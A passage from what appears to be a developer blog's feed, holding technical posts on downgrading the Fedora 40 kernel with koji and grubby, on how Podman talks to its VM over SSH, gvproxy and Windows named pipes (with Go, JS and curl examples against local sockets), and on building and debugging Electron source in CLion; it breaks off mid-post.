    frame #63: 0x0000000104daca50 OOMOL Studio Helper (Plugin)`main(argc=20, argv=0x000000016b0524f0) at electron_main_mac.cc:84:10 [opt]
    frame #64: 0x000000018021b154 dyld`start + 2476
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>electron</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Switch Kernel for Fedora(40)</title><link>https://bugs.cc/posts/switch-kernel-for-fedora40/</link><guid isPermaLink="true">https://bugs.cc/posts/switch-kernel-for-fedora40/</guid><description>A few days ago, I upgraded from Fedora 39 to Fedora 40. However, after the upgrade, my VirtualBox could not start properly due to a mismatch between the…</description><pubDate>Sat, 11 May 2024 06:08:23 GMT</pubDate><content:encoded>&lt;p&gt;A few days ago, I upgraded from Fedora 39 to Fedora 40. However, after the upgrade, my &lt;code&gt;VirtualBox&lt;/code&gt; could not start properly due to a mismatch between the &lt;code&gt;kernel&lt;/code&gt; and &lt;code&gt;kernel-header&lt;/code&gt; versions.&lt;/p&gt;
&lt;p&gt;By using &lt;code&gt;uname -r&lt;/code&gt; and &lt;code&gt;dnf list --installed | grep &quot;kernel-headers&quot;&lt;/code&gt;, I found out the versions are as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kernel&lt;/code&gt;: &lt;em&gt;6.8.8-300.fc40.x86_64&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kernel-headers&lt;/code&gt;: &lt;em&gt;6.8.3-300.fc40.x86_64&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I tried to install the matching version of &lt;code&gt;kernel-headers&lt;/code&gt; using &lt;code&gt;sudo dnf install kernel-headers-$(uname -r)&lt;/code&gt;, but found that there was no corresponding version available.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/switch-kernel-for-fedora40/#user-content-fn-headers-version&quot; id=&quot;user-content-fnref-headers-version&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Consequently, I decided to downgrade the &lt;code&gt;kernel&lt;/code&gt; version to match the available &lt;code&gt;kernel-headers&lt;/code&gt;. After verifying its existence, I attempted to install &lt;code&gt;kernel&lt;/code&gt; version &lt;code&gt;6.8.3-300.fc40&lt;/code&gt; using &lt;code&gt;sudo dnf install kernel-6.8.3-300.fc40.x86_64&lt;/code&gt;, but &lt;code&gt;dnf&lt;/code&gt; indicated that this version was unavailable.&lt;/p&gt;
&lt;p&gt;Ultimately, I found a solution on &lt;a href=&quot;https://discussion.fedoraproject.org/t/how-do-i-install-an-old-kernel/76942/3&quot;&gt;discussion.fedoraproject&lt;/a&gt;, where information from &lt;a href=&quot;https://bodhi.fedoraproject.org/updates/?packages=kernel&amp;amp;release=F40&quot;&gt;Fedora Updates System For F40&lt;/a&gt; allowed verification of the required &lt;code&gt;kernel&lt;/code&gt; version, which could then be installed using &lt;code&gt;koji download-build --arch=x86_64 &amp;lt;package name&amp;gt;&lt;/code&gt;. The process is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir kernel-downloads
cd kernel-downloads
koji download-build --arch=x86_64 kernel-6.8.3-300.fc40
sudo dnf install ./kernel-*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Upon completion, it was necessary to switch to the newly installed &lt;code&gt;kernel&lt;/code&gt; version. This could be managed using &lt;code&gt;sudo grubby --info=ALL&lt;/code&gt; to view the list of system kernels, noting the desired &lt;code&gt;index&lt;/code&gt; and &lt;code&gt;kernel&lt;/code&gt;. For example:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/switch-kernel-for-fedora-40/grubby-info-all.png&quot; alt=&quot;Grubby info all&quot;&gt;&lt;/p&gt;
&lt;p&gt;Next, a temporary switch to this &lt;code&gt;kernel&lt;/code&gt; was made to ensure everything was working properly:&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/switch-kernel-for-fedora40/#user-content-fn-grub-reboot&quot; id=&quot;user-content-fnref-grub-reboot&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo grub2-reboot &quot;3&quot;
reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If everything functioned as expected, this &lt;code&gt;kernel&lt;/code&gt; could be set as the default:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo grubby --set-default /boot/vmlinuz-6.8.3-300.fc40.x86_64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A final check to confirm the default setting was successful:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo grubby --default-kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From this point on, our system will use the &lt;code&gt;6.8.3-300.fc40&lt;/code&gt; version of the &lt;code&gt;kernel&lt;/code&gt; by default until a &lt;code&gt;dnf update&lt;/code&gt; is performed or another version is manually selected.&lt;/p&gt;
&lt;p&gt;Reference:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://discussion.fedoraproject.org/t/how-do-i-install-an-old-kernel/76942/3&quot;&gt;https://discussion.fedoraproject.org/t/how-do-i-install-an-old-kernel/76942/3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://knowledgebase.frame.work/en_us/change-default-fedora-kernel-H1Jnv0n6&quot;&gt;https://knowledgebase.frame.work/en_us/change-default-fedora-kernel-H1Jnv0n6&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-headers-version&quot;&gt;
&lt;p&gt;This can also be confirmed on &lt;a href=&quot;https://src.fedoraproject.org/rpms/kernel&quot;&gt;fedoraproject/rpms/kernel&lt;/a&gt; and &lt;a href=&quot;https://src.fedoraproject.org/rpms/kernel-headers&quot;&gt;fedoraproject/rpms/kernel-headers&lt;/a&gt;, where the latest version of &lt;code&gt;kernel-headers&lt;/code&gt; for Fedora 40 is &lt;code&gt;6.8.3-300.fc40&lt;/code&gt;. &lt;a href=&quot;https://bugs.cc/posts/switch-kernel-for-fedora40/#user-content-fnref-headers-version&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-grub-reboot&quot;&gt;
&lt;p&gt;The above command sets the system to boot from &lt;code&gt;kernel&lt;/code&gt; at &lt;code&gt;index&lt;/code&gt; &lt;code&gt;3&lt;/code&gt; on the next reboot (effective for one time only). &lt;a href=&quot;https://bugs.cc/posts/switch-kernel-for-fedora40/#user-content-fnref-grub-reboot&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>fedora</category><category>kernel</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Podman basics and how it talks to containers</title><link>https://bugs.cc/posts/podman-basic-principles-and-communication-mechanisms/</link><guid isPermaLink="true">https://bugs.cc/posts/podman-basic-principles-and-communication-mechanisms/</guid><description>How Podman talks to containers</description><pubDate>Mon, 07 Aug 2023 10:21:14 GMT</pubDate><content:encoded>&lt;p&gt;Podman is a daemonless open-source container engine. Unlike Docker, Podman does not need a daemon; it manages containers through the libpod library. That avoids some of Docker’s security issues: Docker’s daemon needs root, while Podman can manage containers as a regular user.&lt;/p&gt;
&lt;h2&gt;Architecture sketch&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;podman&lt;/code&gt; has two parts: the &lt;code&gt;podman client&lt;/code&gt; and the &lt;code&gt;libpod&lt;/code&gt; library. Think of them as frontend and backend. Every container operation goes through &lt;code&gt;libpod&lt;/code&gt;. What the &lt;code&gt;podman client&lt;/code&gt; does is send the user’s command to &lt;code&gt;libpod&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note that &lt;code&gt;libpod&lt;/code&gt; only has a Linux build, so it only runs on Linux. How it runs on Windows and MacOS is in the next section.&lt;/p&gt;
&lt;h2&gt;Machine&lt;/h2&gt;
&lt;p&gt;Podman has a machine command that starts a &lt;strong&gt;Linux VM&lt;/strong&gt; to run containers. That also avoids needing root when you run containers in Podman.&lt;/p&gt;
&lt;p&gt;Currently &lt;code&gt;podman&lt;/code&gt; supports 4 VM types:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;qemu&lt;/li&gt;
&lt;li&gt;applehv&lt;/li&gt;
&lt;li&gt;hyperv&lt;/li&gt;
&lt;li&gt;wsl2&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On Linux, machine is optional. On Windows and MacOS, &lt;code&gt;machine&lt;/code&gt; is required.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On &lt;em&gt;Windows&lt;/em&gt;, the default VM type is &lt;code&gt;wsl2&lt;/code&gt;; &lt;code&gt;hyperv&lt;/code&gt; is optional&lt;/li&gt;
&lt;li&gt;On &lt;em&gt;MacOS&lt;/em&gt;, the VM type is &lt;code&gt;qemu&lt;/code&gt;; &lt;code&gt;applehv&lt;/code&gt; is still in development (as of 2023.08)&lt;/li&gt;
&lt;li&gt;On &lt;em&gt;Linux&lt;/em&gt;, if you start a VM, the type is &lt;code&gt;qemu&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The VM that &lt;code&gt;machine&lt;/code&gt; starts is Fedora Linux.
&lt;code&gt;machine&lt;/code&gt; also downloads the Fedora Linux image automatically, so the first &lt;code&gt;podman machine init&lt;/code&gt; is slow (you can download it yourself and pass &lt;code&gt;--image-path&lt;/code&gt;).
If you run &lt;code&gt;init&lt;/code&gt; without &lt;code&gt;--image-path&lt;/code&gt;, &lt;code&gt;podman&lt;/code&gt; always tries to fetch the latest &lt;code&gt;Fedora&lt;/code&gt; image. The rules:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If there is a local cache and it matches the latest image, it does not download&lt;/li&gt;
&lt;li&gt;The cache keeps only one version, and deletes it after two weeks.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Fedora Linux ships &lt;code&gt;podman&lt;/code&gt;, so on Windows and MacOS the &lt;code&gt;podman&lt;/code&gt; command you run actually connects to a &lt;strong&gt;socket file&lt;/strong&gt; in the VM over &lt;em&gt;gvp&lt;/em&gt; or &lt;em&gt;ssh&lt;/em&gt;, and the socket file forwards the request to &lt;code&gt;libpod&lt;/code&gt;. See:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/podman-basic-principles-and-communication-mechanisms/podman-communication-arch.png&quot; alt=&quot;podman&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;podman remote&lt;/code&gt; in the figure is the &lt;code&gt;podman&lt;/code&gt; command on the host. It is written that way because on Windows and MacOS, &lt;code&gt;podman&lt;/code&gt; always runs in &lt;strong&gt;remote&lt;/strong&gt; mode. (On Linux you can pass &lt;code&gt;--remote&lt;/code&gt; to enter this mode.)&lt;/p&gt;
&lt;h2&gt;Communication&lt;/h2&gt;
&lt;p&gt;In the figure above, one block is &lt;code&gt;GVP / SSH&lt;/code&gt;. That is how the host and the VM talk. Before GVP, you need to understand how SSH communication works. That helps with GVP.&lt;/p&gt;
&lt;h3&gt;SSH&lt;/h3&gt;
&lt;p&gt;When you &lt;code&gt;podman machine init&lt;/code&gt; and &lt;code&gt;podman machine start&lt;/code&gt;, podman starts an ssh service in the VM.&lt;/p&gt;
&lt;p&gt;You can inspect the connection with &lt;code&gt;podman system connection ls --format=json&lt;/code&gt;:&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fn-machine-root&quot; id=&quot;user-content-fnref-machine-root&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;[
    {
        &quot;Name&quot;: &quot;podman-machine-default&quot;,
        &quot;URI&quot;: &quot;ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock&quot;,
        &quot;Identity&quot;: &quot;/Users/black-hole/.ssh/podman-machine-default&quot;,
        &quot;IsMachine&quot;: true,
        &quot;Default&quot;: true
    },
    {
        &quot;Name&quot;: &quot;podman-machine-default-root&quot;,
        &quot;URI&quot;: &quot;ssh://root@127.0.0.1:65489/run/podman/podman.sock&quot;,
        &quot;Identity&quot;: &quot;/Users/black-hole/.ssh/podman-machine-default&quot;,
        &quot;IsMachine&quot;: true,
        &quot;Default&quot;: false
    }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The URI is &lt;code&gt;ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock&lt;/code&gt;. We can use this &lt;em&gt;socket file&lt;/em&gt; to reach &lt;code&gt;libpod&lt;/code&gt; in the VM.
When podman sends a request, it first opens an ssh connection, then sends the request over the ssh channel. A sketch:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;import (
	&quot;context&quot;
	&quot;fmt&quot;
	&quot;net&quot;
	&quot;net/http&quot;
	&quot;net/url&quot;

	&quot;github.com/containers/common/pkg/ssh&quot;
)

func main() {
	uri := &quot;ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock&quot;
	_url, _ := url.Parse(uri)
	conn, _ := ssh.Dial(&amp;amp;ssh.ConnectionDialOptions{
		Host:                        uri,
		Identity:                    &quot;/Users/black-hole/.ssh/podman-machine-default&quot;,
		User:                        _url.User,
		Port:                        65489,
		InsecureIsMachineConnection: false,
	}, &quot;golang&quot;)

	client := &amp;amp;http.Client{Transport: &amp;amp;http.Transport{DialContext: func(ctx context.Context, _, _ string) (net.Conn, error) {
		return ssh.DialNet(conn, &quot;unix&quot;, _url)
	}}}

	resp, _ := client.Get(&quot;http://d/v4.6.0/libpod/_ping&quot;)
	fmt.Println(resp.StatusCode)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the Windows behavior. On MacOS the default is &lt;em&gt;GVP&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;On Windows, every CLI operation that touches containers or images goes through this.&lt;/p&gt;
&lt;h3&gt;GVP (gvisor-tap-vsock)&lt;/h3&gt;
&lt;p&gt;One reason for GVP is to stop having to ssh into the VM every time and to take over API forwarding.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fn-gvp-daemon&quot; id=&quot;user-content-fnref-gvp-daemon&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;In short, it forwards traffic from a &lt;em&gt;socket file&lt;/em&gt; on the host to a &lt;em&gt;socket file&lt;/em&gt; in the VM.&lt;/p&gt;
&lt;p&gt;podman first creates a &lt;em&gt;socket file&lt;/em&gt; on the host, then starts &lt;em&gt;qemu&lt;/em&gt; with &lt;code&gt;-qmp&lt;/code&gt; to expose qemu’s &lt;em&gt;socket file&lt;/em&gt;, then binds the host &lt;em&gt;socket file&lt;/em&gt; to qemu’s &lt;em&gt;socket file&lt;/em&gt; via &lt;em&gt;GVP&lt;/em&gt;. Simplified:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;gvproxy -listen-qemu unix:///var/folders/zm/g19w916x2x36bt16htrwtsh80000gp/T/podman/qmp_podman-machine-default.sock -forward-sock /Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock -forward-dest /run/user/502/podman/podman.sock

qemu-system-x86_64 -qmp unix:/var/folders/zm/g19w916x2x36bt16htrwtsh80000gp/T/podman/qmp_podman-machine-default.sock,server=on,wait=off -virtfs local,path=/var/folders,mount_tag=vol2,security_model=none
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On MacOS, podman also ships the &lt;code&gt;podman-mac-helper&lt;/code&gt; executable in the &lt;code&gt;pkg&lt;/code&gt; installer.
When you &lt;code&gt;podman machine start&lt;/code&gt;, podman checks for &lt;code&gt;podman-mac-helper&lt;/code&gt;. If it exists, &lt;code&gt;podman-mac-helper&lt;/code&gt; creates a symlink &lt;code&gt;/var/run/docker.sock&lt;/code&gt; pointing at the host &lt;em&gt;socket file&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;API forwarding&lt;/h2&gt;
&lt;p&gt;Before we start, think about how you would call the podman API from your program.&lt;/p&gt;
&lt;h3&gt;MacOS&lt;/h3&gt;
&lt;p&gt;On MacOS you can run: &lt;code&gt;export DOCKER_HOST=&apos;unix:///Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock&apos;&lt;/code&gt; so later podman commands talk through the local &lt;em&gt;socket file&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;You can also call the API on that &lt;em&gt;socket file&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;curl --unix-socket /Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock http://d/v4.6.0/libpod/_ping
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;Windows has no &lt;em&gt;socket file&lt;/em&gt;. API calls still matter, so the podman team ships &lt;code&gt;win-sshproxy.exe&lt;/code&gt; to forward API requests.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;win-sshproxy&lt;/em&gt; creates a duplex pipe with Windows &lt;code&gt;Named Pipe&lt;/code&gt;, which you can treat as a &lt;em&gt;socket file&lt;/em&gt;.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fn-winsshproxy-daemon&quot; id=&quot;user-content-fnref-winsshproxy-daemon&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Creating the &lt;code&gt;Named Pipe&lt;/code&gt; is simple:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// Allow built-in admins and system/kernel components
const SddlDevObjSysAllAdmAll = &quot;D:P(A;;GA;;;SY)(A;;GA;;;BA)&quot;

func ListenNpipe(socketURI *url.URL) (net.Listener, error) {
	user, _ := user.Current()

	// Also allow current user
	sddl := fmt.Sprintf(&quot;%s(A;;GA;;;%s)&quot;, SddlDevObjSysAllAdmAll, user.Uid)
	config := winio.PipeConfig{
		SecurityDescriptor: sddl,
		MessageMode:        true,
		InputBufferSize:    65536,
		OutputBufferSize:   65536,
	}
	path := strings.Replace(socketURI.Path, &quot;/&quot;, &quot;\\&quot;, -1)
    return winio.ListenPipe(path, &amp;amp;config)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the &lt;em&gt;Named Pipe&lt;/em&gt; exists, &lt;em&gt;win-sshproxy&lt;/em&gt; opens an &lt;em&gt;ssh&lt;/em&gt; connection and binds it to the &lt;em&gt;Named Pipe&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func main() {
    complete := new(sync.WaitGroup)
	complete.Add(2)
    go forward(ssh, namedPipe, complete)
	go forward(namedPipe, ssh, complete)

	go func() {
		complete.Wait()
		ssh.Close()
		namedPipe.Close()
	}()
}

func forward(src io.ReadCloser, dest CloseWriteStream, complete *sync.WaitGroup) {
	defer complete.Done()
	_, _ = io.Copy(dest, src)

	// make the io.Copy() on the other end exit
	_ = dest.CloseWrite()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From then on the host can forward API requests through the &lt;em&gt;Named Pipe&lt;/em&gt;. JS example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;require(&apos;http&apos;).get({
    hostname: &apos;d&apos;,
    path: &apos;/v4.6.0/libpod/_ping&apos;,
    socketPath: &apos;//./pipe/docker_engine&apos;,
}, res =&amp;gt; {
    console.log(`statusCode: ${res.statusCode}`)
    res.destroy();
}).end();
&lt;/code&gt;&lt;/pre&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-machine-root&quot;&gt;
&lt;p&gt;&lt;em&gt;podman-machine-default-root&lt;/em&gt; is for root access to the VM. We usually connect as a regular user, so we only care about &lt;em&gt;podman-machine-default&lt;/em&gt;. &lt;a href=&quot;https://bugs.cc/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fnref-machine-root&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-gvp-daemon&quot;&gt;
&lt;p&gt;GVP is a long-running process. &lt;a href=&quot;https://bugs.cc/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fnref-gvp-daemon&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-winsshproxy-daemon&quot;&gt;
&lt;p&gt;This process has to stay running. &lt;a href=&quot;https://bugs.cc/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fnref-winsshproxy-daemon&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 3&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>podman</category><category>linux</category><category>gvp</category><category>container</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Build / debug Electron source</title><link>https://bugs.cc/posts/build-and-debug-electron-code/</link><guid isPermaLink="true">https://bugs.cc/posts/build-and-debug-electron-code/</guid><description>How to build and debug Electron source</description><pubDate>Tue, 21 Sep 2021 08:06:11 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This post uses the &lt;code&gt;CLion&lt;/code&gt; IDE and &lt;code&gt;macOS&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Other IDEs and systems can follow the same approach&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Intro {#intro}&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;electron&lt;/em&gt;’s official build docs have some problems. If you follow them exactly, you will not be able to debug.
The symptom is that &lt;code&gt;LLDB&lt;/code&gt; cannot show variables or context for the current &lt;code&gt;frame&lt;/code&gt;. It looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/lldb-variables-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Build {#build}&lt;/h2&gt;
&lt;p&gt;To skip the unimportant parts, I will start from where the official docs go wrong.&lt;/p&gt;
&lt;p&gt;Official build docs:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/development/build-instructions-macos&quot;&gt;Build steps (macOS)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/development/build-instructions-gn&quot;&gt;Build instructions (macOS)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Before you start, make sure your &lt;code&gt;macos SDK&lt;/code&gt; is correct. See: &lt;a href=&quot;https://bugs.cc/posts/build-and-debug-electron-code/#set-macos-sdk&quot;&gt;Setting macOS SDK&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The commands in “A note on pulling/pushing” are already wrong. The correct commands are:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd src/electron
git remote remove origin
git remote add origin https://github.com/electron/electron
# from here on it differs
git fetch
git checkout main
git pull --rebase origin main
git branch --set-upstream-to=origin/main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The docs then tell you to run &lt;code&gt;gclient sync -f&lt;/code&gt;. That command sometimes fails on &lt;code&gt;dugite&lt;/code&gt;. See: &lt;a href=&quot;https://bugs.cc/posts/build-and-debug-electron-code/#dugite-solution&quot;&gt;Dugite download failure workaround&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This next part is the point of the post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After you finish the commands above, you also need to edit &lt;code&gt;build/config/compiler/compiler.gni&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Change&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;forbid_non_component_debug_builds = build_with_chromium
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;forbid_non_component_debug_builds = false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without this step, &lt;code&gt;gn gen&lt;/code&gt; will fail:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;ERROR at //build/config/compiler/compiler.gni:302:3: Assertion failed.
  assert(symbol_level != 2 || current_toolchain != default_toolchain ||
  ^-----
Can&apos;t do non-component debug builds at symbol_level=2
See //BUILD.gn:12:1: whence it was imported.
import(&quot;//build/config/compiler/compiler.gni&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/gn-gen-assertion-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then when you run &lt;code&gt;gn gen&lt;/code&gt;, use this command instead of the official one:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gn gen out/Testing --args=&quot;import(\&quot;//electron/build/args/testing.gn\&quot;) is_debug=true symbol_level=2 $GN_EXTRA_ARGS&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you want &lt;code&gt;ccache&lt;/code&gt;, use:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gn gen out/Testing --args=&quot;import(\&quot;//electron/build/args/testing.gn\&quot;) cc_wrapper=\&quot;ccache\&quot; is_debug=true symbol_level=2 $GN_EXTRA_ARGS&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then build:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ninja -C out/Testing electron
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Debug (CLion) {#debug}&lt;/h2&gt;
&lt;p&gt;If you want to debug with &lt;em&gt;CLion&lt;/em&gt;, first make sure &lt;code&gt;ninja -C out/Testing electron&lt;/code&gt; has succeeded.
Don’t open &lt;em&gt;CLion&lt;/em&gt; yet. First create a &lt;code&gt;CMakeLists.txt&lt;/code&gt; in the root directory (the same level as &lt;code&gt;src&lt;/code&gt;), with this content:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;cmake_minimum_required(VERSION 3.20)
project(electron)

set(CMAKE_CXX_STANDARD 14)

set(CMAKE_CXX_FLAGS_DEBUG &quot;${CMAKE_CXX_FLAGS_DEBUG} -O0&quot;)

include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src)
include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src/electron)
include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src/out/Testing/gen)

add_executable(electron_exec ${CMAKE_CURRENT_SOURCE_DIR}/src/electron/shell/app/electron_main.cc)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This file is so &lt;em&gt;CLion&lt;/em&gt; can index the code and provide completion. Without it, IDE hints will &lt;strong&gt;completely fail&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Then open the project in &lt;em&gt;CLion&lt;/em&gt;. The project root should look like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/select-project-root.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;After opening, you may need to wait tens of minutes for &lt;em&gt;CLion&lt;/em&gt; to build / refresh the cache.&lt;/p&gt;
&lt;p&gt;Open in order: Setting -&amp;gt; Build, Execution, Deployment -&amp;gt; Custom Build Targets -&amp;gt; + -&amp;gt; Set Build.&lt;/p&gt;
&lt;p&gt;It should look like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/custom-build-target.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then set &lt;code&gt;Run/Debug Configurations&lt;/code&gt;, as shown:&lt;/p&gt;
